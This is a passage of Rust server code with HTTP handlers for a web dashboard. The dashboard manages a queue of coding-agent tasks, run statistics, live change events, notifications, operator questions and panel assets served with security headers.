5684 completion_rate: Option<RateView>,
5685}
5686
5687impl From<&stats::RepoStats> for RepoSummaryView {
5688 fn from(r: &stats::RepoStats) -> Self {
5689 let t = &r.stats.totals;
5690 Self {
5691 repo: r.repo.to_string_lossy().into_owned(),
5692 name: r.name.clone(),
5693 runs: t.runs,
5694 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5695 }
5696 }
5697}
5698
5699#[derive(Debug, Serialize)]
5705struct StatsView {
5706 totals: StatsTotalsView,
5707 agents: Vec<AgentStatsView>,
5709 reviewers: Vec<ReviewerStatsView>,
5711 advisors: Vec<AdvisorStatsView>,
5713 e2e: E2eStatsView,
5714 release_bumps: ReleaseBumpStatsView,
5715 queue: TaskCountsView,
5716 runs_unreadable: usize,
5726 repos: Vec<RepoSummaryView>,
5730 daily: Vec<DailyStatsView>,
5735 repo: Option<String>,
5739 retired_hidden: Vec<String>,
5743}
5744
5745#[derive(Debug, Serialize)]
5747struct DailyStatsView {
5748 date: String,
5750 runs: usize,
5751 merged: usize,
5752 ready: usize,
5753 other: usize,
5754 completion_rate: Option<RateView>,
5756}
5757
5758impl From<&stats::DayBucket> for DailyStatsView {
5759 fn from(b: &stats::DayBucket) -> Self {
5760 Self {
5761 date: b.date.to_string(),
5762 runs: b.runs,
5763 merged: b.merged,
5764 ready: b.ready,
5765 other: b.other,
5766 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5767 }
5768 }
5769}
5770
5771const STATS_DAILY_DAYS: usize = 30;
5773
5774#[derive(Debug, Default, Deserialize)]
5783#[serde(default)]
5784struct StatsQuery {
5785 repo: Option<String>,
5786 all: bool,
5788}
5789
5790async fn stats_get(
5797 State(ui): State<Arc<Ui>>,
5798 Query(q): Query<StatsQuery>,
5799) -> ApiResult<Json<StatsView>> {
5800 blocking(move || {
5801 let states: Vec<RunState> = run_ids(&ui.runs)
5802 .into_iter()
5803 .filter_map(|id| read_run(&ui.runs, &id).ok())
5804 .collect();
5805 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5806 .iter()
5807 .map(RepoSummaryView::from)
5808 .collect();
5809 let mut scoped: Vec<&RunState> = states.iter().collect();
5810 let mut collected = match &q.repo {
5811 Some(repo) => {
5812 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5813 if filtered.is_empty() {
5814 return Err(ApiError::not_found(format!(
5815 "no runs recorded against repo `{repo}`"
5816 )));
5817 }
5818 scoped = filtered.clone();
5819 stats::collect_refs(filtered)
5820 }
5821 None => stats::collect(&states),
5822 };
5823 if !q.all {
5824 let repo = q
5825 .repo
5826 .as_deref()
5827 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5828 stats::retain_current_roster(&mut collected, &repo);
5829 }
5830 let daily = stats::daily(
5831 scoped,
5832 jiff::Zoned::now().date(),
5833 &jiff::tz::TimeZone::system(),
5834 STATS_DAILY_DAYS,
5835 );
5836 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5837 Ok(Json(StatsView {
5838 totals: StatsTotalsView::from(&collected.totals),
5839 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5840 reviewers: collected
5841 .reviewers
5842 .iter()
5843 .map(ReviewerStatsView::from)
5844 .collect(),
5845 advisors: collected
5846 .advisors
5847 .iter()
5848 .map(AdvisorStatsView::from)
5849 .collect(),
5850 e2e: E2eStatsView::from(&collected.e2e),
5851 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5852 queue: TaskCountsView::from(queue_counts),
5853 runs_unreadable: runs_unreadable(&ui.runs),
5854 repos,
5855 daily: daily.iter().map(DailyStatsView::from).collect(),
5856 repo: q.repo.clone(),
5857 retired_hidden: collected.retired_hidden.clone(),
5858 }))
5859 })
5860 .await
5861}
5862
5863#[derive(Debug, Default, Deserialize)]
5866#[serde(default, deny_unknown_fields)]
5867struct HoldBody {
5868 reason: Option<String>,
5869}
5870
5871async fn queue_hold(
5872 State(ui): State<Arc<Ui>>,
5873 Path(id): Path<String>,
5874 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5875) -> ApiResult<Json<TaskView>> {
5876 let body = match body {
5880 Ok(Json(body)) => body,
5881 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5882 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5883 };
5884 let reason = body.reason.filter(|r| !r.trim().is_empty());
5885 mutate(ui, id, move |t| {
5886 t.hold_manual(reason.clone());
5887 Ok(())
5888 })
5889 .await
5890}
5891
5892async fn queue_release(
5893 State(ui): State<Arc<Ui>>,
5894 Path(id): Path<String>,
5895) -> ApiResult<Json<TaskView>> {
5896 mutate(ui, id, |t| {
5897 t.release_operator("web", None);
5898 Ok(())
5899 })
5900 .await
5901}
5902
5903#[derive(Debug, Deserialize)]
5904#[serde(deny_unknown_fields)]
5905struct AttemptLimitBody {
5906 attempt_limit: serde_json::Value,
5908}
5909
5910async fn queue_attempt_limit(
5911 State(ui): State<Arc<Ui>>,
5912 Path(id): Path<String>,
5913 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5914) -> ApiResult<Json<TaskView>> {
5915 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5916 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5917 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5918 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5919}
5920
5921#[derive(Debug, Deserialize)]
5922#[serde(deny_unknown_fields)]
5923struct ImplementersBody {
5924 implementers: u8,
5925}
5926
5927async fn queue_implementers(
5928 State(ui): State<Arc<Ui>>,
5929 Path(id): Path<String>,
5930 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5931) -> ApiResult<Json<TaskView>> {
5932 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5933 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5934}
5935
5936#[derive(Debug, Deserialize)]
5937#[serde(deny_unknown_fields)]
5938struct UrgentBody {
5939 urgent: bool,
5940}
5941
5942async fn queue_urgent(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5946) -> ApiResult<Json<TaskView>> {
5947 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5949}
5950
5951#[derive(Debug, Deserialize)]
5953#[serde(deny_unknown_fields)]
5954struct PriorityBody {
5955 priority: i32,
5956}
5957
5958async fn queue_priority(
5964 State(ui): State<Arc<Ui>>,
5965 Path(id): Path<String>,
5966 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5967) -> ApiResult<Json<TaskView>> {
5968 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5969 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5970}
5971
5972#[derive(Debug, Deserialize)]
5974#[serde(deny_unknown_fields)]
5975struct EditBody {
5976 title: String,
5977 instruction: String,
5978 #[serde(default)]
5981 force: bool,
5982}
5983
5984async fn queue_edit(
5988 State(ui): State<Arc<Ui>>,
5989 Path(id): Path<String>,
5990 body: std::result::Result<Json<EditBody>, JsonRejection>,
5991) -> ApiResult<Json<TaskView>> {
5992 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5993 let mut judged: Option<(String, PathBuf)> = None;
5997 if !body.force {
5998 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5999 let (id, text) = (id.clone(), body.instruction.clone());
6000 let (seen, hits) = blocking(move || {
6001 let id = resolve_task(&queue, &id)?;
6002 let t = queue.get(&id)?;
6003 if text == t.instruction {
6004 return Ok((None, Vec::new()));
6005 }
6006 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6007 Ok((Some((t.instruction, t.repo)), hits))
6008 })
6009 .await?;
6010 if let Some((_, repo)) = &seen {
6011 let cfg = crate::config::Config::discover(repo, None)
6012 .ok()
6013 .map(|(c, _)| c);
6014 let screened =
6015 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6016 .await
6017 .map_err(|dup| {
6018 ApiError::conflict(dup.render(
6019 "Nothing was saved. If it is not a duplicate, repeat the request \
6020 with \"force\": true.",
6021 ))
6022 })?;
6023 if let crate::dupes::Screened::Unjudged(why) = screened {
6024 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6025 }
6026 }
6027 judged = seen;
6028 }
6029 let force = body.force;
6030 mutate(ui, id, move |t| {
6031 if !force && body.instruction != t.instruction {
6032 match &judged {
6033 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6034 _ => {
6035 anyhow::bail!("the task changed while it was being checked; repeat the request")
6036 }
6037 }
6038 }
6039 t.edit(body.title.clone(), body.instruction.clone())
6040 })
6041 .await
6042}
6043
6044async fn queue_done(
6052 State(ui): State<Arc<Ui>>,
6053 Path(id): Path<String>,
6054) -> ApiResult<Json<TaskView>> {
6055 let home = ui.home.clone();
6056 mutate(ui, id, move |t| {
6057 t.succeed();
6058 crate::daemon::supersede_prior_runs(t, &home);
6066 Ok(())
6067 })
6068 .await
6069}
6070
6071async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6079 blocking(move || {
6080 let id = resolve_task(&ui.queue, &id)?;
6081 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6082 ui.queue
6083 .remove(&id, in_flight, &ui.questions)
6084 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6085 Ok(StatusCode::NO_CONTENT)
6086 })
6087 .await
6088}
6089
6090async fn mutate(
6099 ui: Arc<Ui>,
6100 id: String,
6101 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6102) -> ApiResult<Json<TaskView>> {
6103 blocking(move || {
6104 let id = resolve_task(&ui.queue, &id)?;
6105 let _claim = ui.queue.claim(&id).map_err(|e| {
6110 ApiError::conflict(format!(
6111 "{e:#} - a daemon is running this task, so it cannot be \
6112 changed from here yet; wait until it is released, then retry"
6113 ))
6114 })?;
6115 let mut task = ui.queue.get(&id)?;
6116 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6117 Ok(dup) => ApiError::conflict(dup.render(
6118 "Nothing was saved. If it is not a duplicate, repeat the request with \
6119 \"force\": true.",
6120 )),
6121 Err(e) => ApiError::bad_request_from(e),
6122 })?;
6123 ui.queue.put(&mut task)?;
6124 Ok(Json(TaskView::from(task)))
6125 })
6126 .await
6127}
6128
6129async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6137 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6138 tokio::spawn(async move {
6139 let mut ticker = tokio::time::interval(POLL);
6140 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6141 let mut stamps: Option<[Stamps; 3]> = None;
6142 loop {
6143 ticker.tick().await;
6146 let state = Arc::clone(&ui);
6147 let revisions = tokio::task::spawn_blocking(move || {
6148 let stamps = [
6149 store_stamps(state.queue.root(), false),
6150 store_stamps(&state.runs, true),
6151 store_stamps(state.talks.root(), false),
6152 ];
6153 let revisions = (
6154 stamps_revision(&stamps[0]),
6155 stamps_revision(&stamps[1]),
6156 state.questions.revision(),
6157 stamps_revision(&stamps[2]),
6158 state.notices.revision(),
6159 state.lock_loop().rev,
6163 );
6164 (revisions, stamps)
6165 })
6166 .await;
6167 let Ok((revisions, next_stamps)) = revisions else {
6168 break;
6169 };
6170 if last == Some(revisions) {
6171 continue;
6172 }
6173 let mut payload = serde_json::json!({
6174 "queue_rev": revisions.0,
6175 "runs_rev": revisions.1,
6176 "questions_rev": revisions.2,
6177 "talks_rev": revisions.3,
6178 "notifications_rev": revisions.4,
6179 "loop_rev": revisions.5,
6180 });
6181 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6182 for (index, (key, rev)) in [
6183 ("queue_delta", base.0),
6184 ("runs_delta", base.1),
6185 ("talks_delta", base.3),
6186 ]
6187 .into_iter()
6188 .enumerate()
6189 {
6190 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6191 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6193 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6194 }
6195 }
6196 }
6197 last = Some(revisions);
6198 stamps = Some(next_stamps);
6199 let Ok(event) = Event::default().event("change").json_data(payload) else {
6201 break;
6202 };
6203 if tx.send(event).await.is_err() {
6204 break;
6205 }
6206 }
6207 });
6208 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6209 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6210}
6211
6212type Stamps = HashMap<String, (u128, u64)>;
6213
6214fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6216 std::fs::read_dir(root)
6217 .into_iter()
6218 .flatten()
6219 .flatten()
6220 .filter_map(|entry| {
6221 let path = if runs {
6222 entry.path().join("run.json")
6223 } else {
6224 entry.path()
6225 };
6226 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6227 return None;
6228 }
6229 let metadata = path.metadata().ok()?;
6230 let modified = metadata
6231 .modified()
6232 .ok()?
6233 .duration_since(std::time::UNIX_EPOCH)
6234 .ok()?;
6235 let id = if runs {
6236 entry.file_name().to_string_lossy().into_owned()
6237 } else {
6238 path.file_stem()?.to_string_lossy().into_owned()
6239 };
6240 Some((id, (modified.as_nanos(), metadata.len())))
6241 })
6242 .collect()
6243}
6244
6245#[derive(Debug, Serialize)]
6246struct Delta {
6247 base: u64,
6248 changed: Vec<String>,
6249 removed: Vec<String>,
6250}
6251
6252fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6253 let mut changed: Vec<_> = next
6254 .iter()
6255 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6256 .map(|(id, _)| id.clone())
6257 .collect();
6258 let mut removed: Vec<_> = previous
6259 .keys()
6260 .filter(|id| !next.contains_key(*id))
6261 .cloned()
6262 .collect();
6263 changed.sort_unstable();
6264 removed.sort_unstable();
6265 Delta {
6266 base,
6267 changed,
6268 removed,
6269 }
6270}
6271
6272fn runs_revision(runs: &FsPath) -> u64 {
6279 stamps_revision(&store_stamps(runs, true))
6280}
6281
6282fn stamps_revision(stamps: &Stamps) -> u64 {
6286 use std::hash::{Hash as _, Hasher as _};
6287 if stamps.is_empty() {
6288 return 0;
6289 }
6290 let mut entries: Vec<_> = stamps.iter().collect();
6291 entries.sort_unstable();
6292 let mut hasher = std::hash::DefaultHasher::new();
6293 entries.hash(&mut hasher);
6294 hasher.finish().max(1)
6295}
6296
6297fn run_ids(runs: &FsPath) -> Vec<String> {
6303 let mut ids: Vec<String> = std::fs::read_dir(runs)
6304 .into_iter()
6305 .flatten()
6306 .flatten()
6307 .filter(|e| e.path().join("run.json").is_file())
6308 .map(|e| e.file_name().to_string_lossy().into_owned())
6309 .collect();
6310 ids.sort_unstable_by(|a, b| b.cmp(a));
6312 ids
6313}
6314
6315fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6317 let path = runs.join(id).join("run.json");
6318 let body =
6319 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6320 let state: RunState =
6321 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6322 run::migrate_schema(state)
6327}
6328
6329#[must_use]
6337pub fn runs_unreadable(runs: &FsPath) -> usize {
6338 run_ids(runs)
6339 .into_iter()
6340 .filter(|id| read_run(runs, id).is_err())
6341 .count()
6342}
6343
6344fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6346 if runs.join(id).join("run.json").is_file() {
6347 return Ok(id.to_owned());
6348 }
6349 pick(run_ids(runs), id, "run")
6350}
6351
6352fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6354 if queue.path_of(id).is_file() {
6355 return Ok(id.to_owned());
6356 }
6357 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6358}
6359
6360#[derive(Debug, Serialize)]
6371struct QuestionView {
6372 #[serde(flatten)]
6373 question: Question,
6374 detail_md: Vec<md::Node>,
6375 posting_view: Option<PostingView>,
6376 thread_bodies_md: Vec<Vec<md::Node>>,
6378 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6381 waiting_on_agent: bool,
6391 holder: Option<&'static str>,
6395 deputies_enabled: bool,
6399 deputy_exhausted: bool,
6402 run_is_task: bool,
6405 origin_chat: Option<String>,
6410 origin_chat_closed: bool,
6412}
6413
6414#[derive(Debug, Serialize)]
6415struct PostingView {
6416 before_md: Vec<md::Node>,
6417 after_md: Vec<md::Node>,
6418 fields: Vec<crate::github_text::ComparisonView>,
6419}
6420
6421fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6422 let comparison = question.posting_comparison.as_ref()?;
6423 if !comparison.matches_detail(&question.detail) {
6424 return None;
6425 }
6426 let mut ids = std::collections::BTreeSet::new();
6427 if comparison.fields.is_empty()
6428 || comparison
6429 .fields
6430 .iter()
6431 .flat_map(|f| &f.pairs)
6432 .any(|p| !ids.insert(p.id))
6433 || comparison
6434 .fields
6435 .iter()
6436 .flat_map(|f| &f.original_triggers)
6437 .any(|t| !ids.insert(t.id))
6438 {
6439 return None;
6440 }
6441 let fields = comparison
6442 .fields
6443 .iter()
6444 .map(|f| f.view(comparison.excerpt))
6445 .collect::<Option<Vec<_>>>()?;
6446 Some(PostingView {
6447 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6448 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6449 fields,
6450 })
6451}
6452
6453impl QuestionView {
6454 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6458 let base = md::ImageBase::QuestionPanel {
6459 id: question.id.clone(),
6460 };
6461 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6462 Self {
6463 detail_md: md::to_nodes(&question.detail, &base),
6464 posting_view: posting_view(&question, &base),
6465 thread_bodies_md: question
6466 .thread
6467 .iter()
6468 .map(|t| md::to_nodes(&t.body, &base))
6469 .collect(),
6470 thread_notes_md: question
6471 .thread
6472 .iter()
6473 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6474 .collect(),
6475 deputy_exhausted: store.deputy_exhausted(&question),
6476 waiting_on_agent: question.waiting_on_agent(),
6477 holder,
6478 deputies_enabled,
6479 run_is_task: question.run_names_task(),
6480 origin_chat: None,
6481 origin_chat_closed: false,
6482 question,
6483 }
6484 }
6485
6486 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6488 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6489 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6490 self.origin_chat = talk.map(|t| t.id);
6491 self
6492 }
6493}
6494
6495fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6499 Config::discover(repo, None).ok().map(|(c, _)| c)
6500}
6501
6502fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6504 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6505}
6506
6507fn question_views(
6510 qs: Vec<Question>,
6511 store: &ask::Questions,
6512 load: impl FnOnce() -> Option<Config>,
6513) -> Vec<QuestionView> {
6514 if qs.is_empty() {
6515 return Vec::new();
6516 }
6517 let cfg = load();
6518 qs.into_iter()
6519 .map(|q| {
6520 let on = deputies_enabled(cfg.as_ref(), &q);
6521 QuestionView::of(q, store, on)
6522 })
6523 .collect()
6524}
6525
6526fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6536 if !q.status.open() {
6537 return None;
6538 }
6539 if q.cwd.is_none() && q.deputy.is_none() {
6540 return crate::deputy::kind_of(q).map(|_| "nobody");
6541 }
6542 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6543 Some(_) if q.deputy.is_some() => "deputy",
6544 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6545 Some(_) => "asker",
6546 None => "nobody",
6547 })
6548}
6549
6550async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6556 blocking(move || {
6557 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6558 Ok(Json(
6559 question_views(ui.questions.list(), &ui.questions, || {
6560 deputy_config(&ui.repo)
6561 })
6562 .into_iter()
6563 .map(|v| v.with_origin(&tasks, &talks))
6564 .collect(),
6565 ))
6566 })
6567 .await
6568}
6569
6570async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6573 blocking(move || {
6574 let items = ui.notices.list();
6575 let unread = items.iter().filter(|n| n.unread()).count();
6576 Ok(Json(
6577 serde_json::json!({ "unread": unread, "items": items }),
6578 ))
6579 })
6580 .await
6581}
6582
6583fn notice_error(e: anyhow::Error) -> ApiError {
6584 ApiError::not_found(format!("{e:#}"))
6587}
6588
6589async fn notification_read(
6591 State(ui): State<Arc<Ui>>,
6592 Path(id): Path<String>,
6593) -> ApiResult<Json<Notice>> {
6594 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6595}
6596
6597async fn notification_dismiss(
6599 State(ui): State<Arc<Ui>>,
6600 Path(id): Path<String>,
6601) -> ApiResult<Json<Notice>> {
6602 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6603}
6604
6605async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6607 blocking(move || {
6608 let changed = ui.notices.mark_all_read()?;
6609 Ok(Json(serde_json::json!({ "marked": changed })))
6610 })
6611 .await
6612}
6613
6614#[derive(Debug, Default, Deserialize)]
6620#[serde(default, deny_unknown_fields)]
6621struct NewAnswer {
6622 choice: Option<String>,
6623 text: Option<String>,
6624}
6625
6626async fn question_answer(
6627 State(ui): State<Arc<Ui>>,
6628 Path(id): Path<String>,
6629 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6630) -> ApiResult<Json<QuestionView>> {
6631 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6632 let answer = match (body.choice, body.text) {
6633 (Some(c), None) => Answer::Choice(c),
6634 (None, Some(t)) => Answer::Text(t),
6635 (Some(_), Some(_)) => {
6636 return Err(ApiError::bad_request(
6637 "send either `choice` or `text`, not both",
6638 ));
6639 }
6640 (None, None) => {
6641 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6642 }
6643 };
6644
6645 blocking(move || {
6646 let id = resolve_question(&ui.questions, &id)?;
6647 let q = ui
6648 .questions
6649 .get(&id)
6650 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6651 if !q.status.open() {
6652 return Err(ApiError::conflict(format!(
6656 "question {} is already {}",
6657 q.short(),
6658 q.status.as_str()
6659 )));
6660 }
6661 let (q, ()) = ui
6665 .questions
6666 .update(&q.id, |r| r.answer(answer))
6667 .map_err(ApiError::bad_request_from)?;
6668 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6669 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6670 Ok(Json(
6671 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6672 ))
6673 })
6674 .await
6675}
6676
6677#[derive(Debug, Deserialize)]
6679#[serde(deny_unknown_fields)]
6680struct NewSay {
6681 body: String,
6682}
6683
6684async fn question_say(
6694 State(ui): State<Arc<Ui>>,
6695 Path(id): Path<String>,
6696 body: std::result::Result<Json<NewSay>, JsonRejection>,
6697) -> ApiResult<Json<QuestionView>> {
6698 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6699 blocking(move || {
6700 let id = resolve_question(&ui.questions, &id)?;
6701 let q = ui
6702 .questions
6703 .get(&id)
6704 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6705 if !q.status.open() {
6706 return Err(ApiError::conflict(format!(
6710 "question {} is already {}",
6711 q.short(),
6712 q.status.as_str()
6713 )));
6714 }
6715 let (q, ()) = ui
6718 .questions
6719 .update(&q.id, |r| r.say(body.body))
6720 .map_err(ApiError::bad_request_from)?;
6721 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6722 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6723 Ok(Json(
6724 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6725 ))
6726 })
6727 .await
6728}
6729
6730async fn question_consult(
6739 State(ui): State<Arc<Ui>>,
6740 Path(id): Path<String>,
6741) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6742 let (view, reclaimed) = blocking({
6743 let ui = Arc::clone(&ui);
6744 move || {
6745 let id = resolve_question(&ui.questions, &id)?;
6746 let q = ui
6747 .questions
6748 .get(&id)
6749 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6750 if !q.status.open() {
6751 return Err(ApiError::conflict(format!(
6752 "question {} is already {}",
6753 q.short(),
6754 q.status.as_str()
6755 )));
6756 }
6757 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6758 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6759 return Err(ApiError::conflict(format!(
6760 "question {} has no chat to ask",
6761 q.short()
6762 )));
6763 };
6764 let cfg = if q.consult.is_none() {
6768 Some(Config::discover(&talk.repo, None)?.0)
6769 } else {
6770 None
6771 };
6772 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6773 let claim = if fresh {
6774 match ui.begin_queued_talk_turn(&talk.id)? {
6775 Some(turn_guard) => {
6776 let talk = ui.talks.get(&talk.id)?;
6777 let cfg = match cfg {
6778 Some(cfg) => cfg,
6779 None => Config::discover(&talk.repo, None)?.0,
6780 };
6781 Some((talk, cfg, turn_guard))
6782 }
6783 None => None,
6784 }
6785 } else {
6786 None
6787 };
6788 let q = ui.questions.get(&q.id)?;
6789 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6790 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6791 Ok((view, claim))
6792 }
6793 })
6794 .await?;
6795 if let Some((talk, cfg, turn_guard)) = reclaimed {
6796 let talks = ui.talks.clone();
6797 let id = talk.id.clone();
6798 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6799 }
6800 Ok((StatusCode::ACCEPTED, Json(view)))
6801}
6802
6803fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6805 if store.path_of(id).is_file() {
6806 return Ok(id.to_owned());
6807 }
6808 pick(
6809 store.list().into_iter().map(|q| q.id).collect(),
6810 id,
6811 "question",
6812 )
6813}
6814
6815async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6830 blocking(move || {
6831 let id = resolve_question(&ui.questions, &id)?;
6832 let Some(html) = ui.questions.panel_html(&id) else {
6833 return Err(ApiError::not_found(format!("question {id} has no panel")));
6834 };
6835 Ok(panel_response(
6836 "text/html; charset=utf-8",
6837 false,
6838 html.into_bytes(),
6839 ))
6840 })
6841 .await
6842}
6843
6844async fn question_asset(
6872 State(ui): State<Arc<Ui>>,
6873 Path((id, name)): Path<(String, String)>,
6874) -> ApiResult<Response> {
6875 if !crate::ask::valid_asset_name(&name) {
6878 return Err(ApiError::bad_request(format!(
6879 "`{name}` is not a usable asset name"
6880 )));
6881 }
6882 blocking(move || {
6883 let id = resolve_question(&ui.questions, &id)?;
6884 let asset = ui
6885 .questions
6886 .panel_asset(&id, &name)
6887 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6888 let Some(bytes) = asset else {
6889 return Err(ApiError::not_found(format!(
6890 "question {id} has no asset `{name}`"
6891 )));
6892 };
6893 Ok(panel_response(
6894 asset_content_type(&name),
6895 is_svg(&name),
6896 bytes,
6897 ))
6898 })
6899 .await
6900}
6901
6902fn asset_content_type(name: &str) -> &'static str {
6915 match extension(name).as_deref() {
6916 Some("png") => "image/png",
6917 Some("jpg" | "jpeg") => "image/jpeg",
6918 Some("gif") => "image/gif",
6919 Some("webp") => "image/webp",
6920 Some("svg") => "image/svg+xml",
6921 Some("css") => "text/css; charset=utf-8",
6922 Some("txt") => "text/plain; charset=utf-8",
6923 _ => "application/octet-stream",
6924 }
6925}
6926
6927fn is_svg(name: &str) -> bool {
6930 extension(name).as_deref() == Some("svg")
6931}
6932
6933fn extension(name: &str) -> Option<String> {
6935 name.rsplit_once('.')
6936 .map(|(_, ext)| ext.to_ascii_lowercase())
6937}
6938
6939fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6956 let mut res = (
6957 [
6958 (header::CONTENT_TYPE, content_type),
6959 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6960 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6961 (header::REFERRER_POLICY, "no-referrer"),
6962 ],
6963 body,
6964 )
6965 .into_response();
6966 if download {
6967 res.headers_mut().insert(
6968 header::CONTENT_DISPOSITION,
6969 HeaderValue::from_static("attachment"),
6970 );
6971 }
6972 res
6973}
6974
6975#[derive(Debug, Serialize)]
6981struct TalkView {
6982 #[serde(flatten)]
6983 talk: Talk,
6984 turn_bodies_md: Vec<Vec<md::Node>>,
6985 thinking: bool,
6993 context: talk::ContextUsage,
6997 operator_name: Option<String>,
7000 persona_name: Option<String>,
7002 persona_avatar: String,
7005 operator_avatar: String,
7007 magi_avatar: String,
7008}
7009
7010impl TalkView {
7011 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7014 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
